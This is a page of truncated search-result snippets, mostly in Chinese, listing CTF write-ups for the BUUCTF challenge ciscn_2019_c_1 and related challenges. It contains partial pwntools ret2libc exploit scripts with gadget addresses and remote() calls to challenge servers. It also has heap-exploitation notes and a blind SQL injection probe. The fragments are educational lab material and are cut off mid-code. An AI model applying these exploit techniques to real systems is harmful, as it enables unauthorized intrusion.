elf= ELF('ciscn_2019_c_1') #ELF分析工具 puts_plt= elf.plt["puts"] #获取puts函数的plt表 puts_got= elf.got['puts'] #获取puts函数的got表 main_addr= elf.symbols["main"] #获取main函数的地址 pop_rdi_ret=0x400c83#ROPgadget def main():ifcontent ==1: #条件判断本地还是远程 p= proc...
v3 =0;puts("Input your Plaintext to be encrypted"); gets(s);while(1) { v0 = (unsignedint)x;if( v0 >=strlen(s) )break;if( s[x] <='`'|| s[x] >122) {if( s[x] <=64|| s[x] >90) {if( s[x] >47&& s[x] <=57) s[x] ^=0xFu; }else{ s[x] ^=0xEu; }...
from pwn import * #p = process("ciscn_2019_c_1") p = remote("node3.buuoj.cn",28487) elf = ELF("ciscn_2019_c_1") #libc = ELF("libc.so.6") libc = ELF("libc2.27.so") context.log_level = "debug" main = 0x400B28 gadget_1 = 0x400C7A gadget_2 = 0x400C60 puts_got=...
ciscn_2019_c_1 ciscn_2019_c_1 0x01 检查⽂件,64位 检查开启的保护情况 开启了NX保护 0x02 IDA静态分析 在主函数这⾥并没有常见的gets栈溢出,尝试再这⾥⾯的⼦函数找找,发现了encrypt函数,进去查看
ciscn_2019_c_7 总结 主要是限制了UAF的chunk的大小为0x20,并且限制了add的次数,就很难受,并且题目用的还是calloc,没有使用tcache。最后还是使用fastbin attack+unsortedbin attack + ...
ciscn_2019_sw_7 堆溢出与整数溢出漏洞 一般再libc-2.27.so的库中,如果限制了大小,那么基本上只有两种方法,一种是orange,还有一种就是堆溢出,然后修改size大小为unsorted bin中的大小来leak libc。 由于本题有堆溢出,但限制了堆的大小,所以我们想泄露libc,只能使用后者(因为申请的chunk大小被限制了),而在有...
ciscn_2019_c_1 from pwn import * sh = remote('node4.buuoj.cn', 25875) #elf = ELF('./ciscn_2019_c_1') #print(hex(elf.got['puts'])) pop_rdi_ret = 0x0000000000400c83 puts_plt = 0x00000000004006E0 main_addr = 0x0000000000400B28 ...
BUUCTF[CISCN2019华北赛区Day2Web1]HackWorld id=0 id=1 id=2 id=3 发现结果不⼀样,尝试 : ">4","=4","<4" :在⾃⼰的环境下验证⼀下:爆⼀下数据库:id=(ascii(substr(database(),1,1))>32)'''@Modify Time @Author --- --- 2019/10/25 19:28 laoalo '''import ...
ciscn_2019_c_1 ret2lib 技术标签:buuctfret2lib 查看原文 Pwn-10月24-hitcon(二) 某一个函数的GOT条目的地址传给write函数,就可以泄漏这个函数在进程空间中的真实地址,GOT表中所存的puts函数的地址便是在ret2lib进程中的实际地址。 IDA里面看看: 通过命令readelf -Vret2lib可以查到其libc库版本为libc.so....
BUUCTF-ciscn_2019_c_1(20/100) 2021-03-25 16:15 −... 温一壶白开 0 1699 byteCTF 2019 2019-11-25 11:30 −本文作者:z3r0yu 由“合天智汇”公众号首发,未经允许,禁止转载! 0x00 前言 周末的比赛质量还是挺高的,特别是boring_code,有点烧脑但是做的就很开心。 0x01 boring_code 题目描...